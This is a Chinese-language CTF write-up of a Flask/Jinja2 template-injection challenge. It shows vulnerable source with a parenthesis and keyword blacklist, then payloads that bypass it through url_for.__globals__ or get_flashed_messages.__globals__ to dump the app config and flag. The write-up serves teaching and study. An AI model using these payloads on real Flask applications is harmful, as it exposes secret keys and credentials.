flask之jinja2模板注入读取config文件

flask之jinja模板注入

打开页面,我们可以看见源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)

我们可以看见一个函数

1
flask.render_template_string()

可知是模板注入,同时我们看见

1
@app.route('/shrine/<path:shrine>')

可以猜测注入点在/shrine/后面,因此我们可以构造payload

1
/shrine/{{7*7}}

发现返回了49,可以确定这里是注入点,然后我们再看一行代码

1
app.config['FLAG'] = os.environ.pop('FLAG')

可以知道,在config文件中有flag的存在,而config文件是flask的全局变量,包含了所有应用程序的配置的信息,如:数据库链接字符串、连接第三方的凭证、SECRET_KEY等敏感值等

但是源码中不仅过滤了(和),而且还将config和self加入了黑名单,所以我们不能直接构造读取config信息,不过可以使用url_for()函数或get_flashed_messages()函数读取全局变量[‘current_app’],而[‘current_app’]是指当前app,里面包含config

可以使用以下代码,对过滤进行展示

1
2
3
4
5
6
7
8
9
10
import flask
import os

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

if __name__ == '__main__':
print(safe_jinja("{{7*7}}"))

url_for

1
2
3
作用:
1. 给指定的函数构造url
2. 访问静态文件

get_flashed_message()

1
返回之前在flask中通过flash()传入的闪现信息列表,把字符串对象表示的消息加入到一个消息列中,然后调用get_flashed_message()方法取出(闪现信息只可以取一次,而闪现信息中包含['current_app']

然后我们可以先构造

1
/shrine/{{url_for.__globals__}}

得到所有的全局变量的信息,然后按ctrl+F来读取current_app,发现有,则直接构造

1
/shrine/{{url_for.__globals__['current_app'].config}}

或者按上面的方式,使用get_flashed_messages()函数来读取

1
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

其实思路就是,由于过滤,无法直接使用来读取config,则直接说详细一点,读取当前应用程序下的config